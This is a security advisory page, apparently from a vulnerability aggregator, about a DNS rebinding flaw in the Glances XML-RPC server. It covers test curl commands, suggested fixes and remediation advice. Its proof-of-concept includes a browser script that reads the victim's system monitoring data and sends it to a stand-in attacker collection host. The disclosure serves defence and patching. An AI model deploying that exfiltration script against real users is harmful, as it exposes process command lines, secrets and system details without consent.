Severity by source
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
DNS rebinding requires high attack complexity (AC:H) and victim browser interaction (UI:R); no credentials needed (PR:N); impact is confidentiality-only (C:H) as the XML-RPC API is read-only.
Primary rating from Vendor (https://github.com/nicolargo/glances).
CVSS VectorVendor: https://github.com/nicolargo/glances
Lifecycle Timeline
3DescriptionCVE.org
Summary
The Glances XML-RPC server (glances -s, implemented in glances/server.py) does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. CVE-2026-32632 (patched in 4.5.2) added TrustedHostMiddleware to the REST/WebUI server; the MCP server has had equivalent protection since 4.5.1. The XML-RPC server received neither fix and has no allowed-hosts configuration key. Combined with the unrestricted Access-Control-Allow-Origin: * header (see companion advisory for CVE-2026-33533 and its incomplete fix), an attacker can exploit DNS rebinding to exfiltrate the full system monitoring dataset from a victim's browser.
---
Details
Affected component: glances/server.py - GlancesXMLRPCHandler / GlancesXMLRPCServer
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py
Contrast - patched backends:
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_restful_api.py
- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outputs/glances_mcp.py
The GlancesXMLRPCHandler class inherits from Python's xmlrpc.server.SimpleXMLRPCRequestHandler and does not override parse_request() to inspect or validate the Host header.
Contrast this with the two other Glances server backends, both of which received host-validation hardening:
REST / WebUI server (glances/outputs/glances_restful_api.py) - patched in 4.5.2:
# glances_restful_api.py
if self.webui_allowed_hosts:
self._app.add_middleware(
TrustedHostMiddleware,
allowed_hosts=self.webui_allowed_hosts,
)MCP server (glances/outputs/glances_mcp.py) - protected since 4.5.1:
# glances_mcp.py
TransportSecuritySettings(
allowed_hosts=self.mcp_allowed_hosts,
...
)XML-RPC server (glances/server.py) - no equivalent exists:
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
# No Host header check; any Host value is accepted
rpc_paths = ('/RPC2',)
...There is no xmlrpc_allowed_hosts (or equivalent) configuration key in glances.conf, and the server ignores the Host header on every incoming request.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
Test results:
| Server type | Host header | HTTP status | Data returned |
|---|---|---|---|
| XML-RPC | attacker.example.com | 200 OK | Yes - VULNERABLE |
| XML-RPC | 127.0.0.1:61209 | 200 OK | Yes (baseline) |
| REST API | attacker.example.com | 400 Bad Request | No - patched |
---
PoC
Attack overview
DNS rebinding breaks the browser Same-Origin Policy by making attacker.example.com temporarily resolve to the target's IP address (e.g. 127.0.0.1). From that point the victim's browser treats the attacker's page as same-origin with http://attacker.example.com:61209/RPC2, forwarding the attacker-controlled Host header to the local Glances XML-RPC server, which accepts it without validation.
Special configuration required
No special glances.conf settings are needed. The vulnerability is present in a default Glances XML-RPC server start (glances -s). For the comparison test (Step 3) the REST server must also be started; that step requires Glances to be installed with web dependencies (pip install "glances[web]").
---
Step 1 - Start the Glances XML-RPC server
glances -s -p 61209Step 2 - Confirm the server accepts an arbitrary Host header
curl -s -D - -X POST "http://127.0.0.1:61209/RPC2" \
-H "Host: attacker.example.com" \
-H "Content-Type: text/plain" \
-d '<?xml version="1.0"?>
<methodCall><methodName>getAllPlugins</methodName></methodCall>'Expected result (secure): HTTP/1.0 400 Bad Request Actual result: HTTP/1.0 200 OK with full XML-RPC response body.
Step 3 - Confirm the REST API is patched (comparison)
# Start REST server with the same machine as allowed host:
glances -w -p 61210 --webui-port 61210
curl -s -o /dev/null -w "%{http_code}\n" \
"http://127.0.0.1:61210/api/4/status" \
-H "Host: attacker.example.com"
# Returns: 400 (TrustedHostMiddleware rejects the spoofed Host)Step 4 - Full DNS rebinding exploitation (real-world path)
- Attacker registers
attacker.example.comwith a low-TTL (1 second) DNS record initially pointing to their own server IP. - Attacker serves the following page from
http://attacker.example.com:
<script>
async function exfil() {
const payload = `<?xml version="1.0"?>
<methodCall><methodName>getAll</methodName></methodCall>`;
try {
const r = await fetch('http://attacker.example.com:61209/RPC2', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: payload,
});
const data = await r.text();
// data contains: hostname, OS, all processes with cmd-lines, network, disk
await fetch('https://collect.attacker.example.com/?d=' + btoa(data));
} catch (_) {}
}
// Wait for TTL to expire and DNS to rebind to 127.0.0.1, then call exfil()
setTimeout(exfil, 5000);
</script>- Victim visits
http://attacker.example.comin their browser. - After TTL expiry, the attacker's DNS server responds with
127.0.0.1. - The browser's
fetch()call is sent to127.0.0.1:61209withHost: attacker.example.com; the XML-RPC server accepts it. - The
Access-Control-Allow-Origin: *header (see companion advisory) allows the browser to read the response body. - The attacker receives the complete system monitoring snapshot.
Tools that simplify DNS rebinding for research/testing include:
Step 5 - Confirm absence of Host check in source
import sys, inspect
sys.path.insert(0, '/path/to/glances')
# adjust to local clone
import glances.server as s
src = inspect.getsource(s.GlancesXMLRPCHandler)
print('Host check present:', 'allowed_hosts' in src or 'Host' in src)
# Host check present: False---
Impact
Vulnerability type: Insufficient Verification of Data Authenticity / DNS Rebinding (CWE-350)
Who is impacted: Any user whose browser can reach a Glances XML-RPC server and who can be lured to visit an attacker controlled web page. This includes deployments where:
- Glances is bound to
127.0.0.1(loopback) - DNS rebinding bypasses the loopback restriction. - Glances is bound to a LAN IP - any browser on that LAN is at risk.
- Glances is exposed on a public IP - any browser on the internet is at risk.
Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, database passwords, and access tokens passed as environment variables or CLI flags), CPU/memory/disk/network statistics, open file descriptors, listening ports, and Docker/Kubernetes container metadata.
Impact:
- Confidentiality: High - complete system monitoring data readable remotely without credentials.
- Integrity: None - read-only XML-RPC API.
- Availability: None - no denial-of-service component.
The attack is amplified by the companion CORS wildcard issue (vuln03): without Access-Control-Allow-Origin: *, the browser would still block the response read. Both issues must be fixed together for effective remediation.
---
Suggested Fix
Option 1 - Add Host validation to the XML-RPC handler (preferred)
Add a webui_allowed_hosts (or new xmlrpc_allowed_hosts) configuration key, and validate the Host header in GlancesXMLRPCHandler:
# server.py
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler, GlancesAPI):
allowed_hosts: list[str] = []
# populated from config
def parse_request(self) -> bool:
if not super().parse_request():
return False
if self.allowed_hosts:
host = self.headers.get('Host', '').split(':')[0]
if host not in self.allowed_hosts:
self.send_error(400, 'Bad Request: invalid Host header')
return False
return TruePopulate allowed_hosts from the existing webui_allowed_hosts config key (already used by the REST server), so operators have a single knob.
Option 2 - Deprecate and remove the XML-RPC server
The XML-RPC server is a legacy interface. The REST API (glances -w) provides a superset of functionality, is actively maintained, and has all current security controls. Deprecating the XML-RPC server in the next major release and directing users to the REST API would eliminate this attack surface entirely.
---
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. ---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
---
AnalysisAI
DNS rebinding against the Glances XML-RPC server (glances -s) allows a network-adjacent or remote attacker to exfiltrate the full system monitoring dataset - including process command lines that routinely contain secrets - from a victim's browser without any authentication. The GlancesXMLRPCHandler in glances/server.py accepts arbitrary HTTP Host headers without validation, an omission that persists while the REST/WebUI server received an equivalent fix (TrustedHostMiddleware, v4.5.2) and the MCP server was protected since v4.5.1. No active exploitation is confirmed (not in CISA KEV), but a detailed proof-of-concept is published in the vendor's GitHub security advisory GHSA-w856-8p3r-p338 and the attack is materially amplified by the companion CORS wildcard issue CVE-2026-46608.
Technical ContextAI
Glances is a cross-platform Python system-monitoring tool that exposes several server backends. The XML-RPC backend (glances -s, port 61209) is implemented in glances/server.py via GlancesXMLRPCHandler, a subclass of Python's standard-library xmlrpc.server.SimpleXMLRPCRequestHandler. That class never overrides parse_request() and therefore never inspects the HTTP Host header. DNS rebinding exploits the browser Same-Origin Policy by making an attacker-controlled domain temporarily resolve to the target's IP (including loopback 127.0.0.1), tricking the browser into treating the attacker origin as same-origin with the local service. CWE-346 (Origin Validation Error) captures the root cause: the server fails to verify that the Host header corresponds to a permitted origin. The attack is further enabled by CWE-942 (Permissive CORS Policy with Wildcards) via CVE-2026-46608, which allows the victim browser to read the XML-RPC response body. Affected package: pkg:pip/glances versions prior to 4.5.5, confirmed on x86_64 Linux, Python 3.13, commit 04579778e733d705898a169e049dc84772c852da.
RemediationAI
Upgrade to Glances 4.5.5 (vendor-released patch: 4.5.5), which resolves this CVE along with CVE-2026-46608 (CORS wildcard fallback), CVE-2026-53925, CVE-2026-46607, and CVE-2026-46606. Release notes and downloads are at https://github.com/nicolargo/glances/releases/tag/v4.5.5. Because this CVE and CVE-2026-46608 interact - the CORS wildcard is needed for the attacker to read the response body in-browser - both must be patched together; fixing only one provides incomplete protection. If immediate upgrade is not possible, discontinue the XML-RPC server mode (glances -s) and migrate to the REST API (glances -w), which is fully hardened. Binding the XML-RPC server to loopback (127.0.0.1) is insufficient as a compensating control: DNS rebinding explicitly bypasses the loopback restriction, as demonstrated in the PoC. A reverse proxy with strict Host header validation placed in front of port 61209 would block the rebinding vector but adds operational complexity and is no substitute for patching.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-346 – Origin Validation Error
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39514
GHSA-w856-8p3r-p338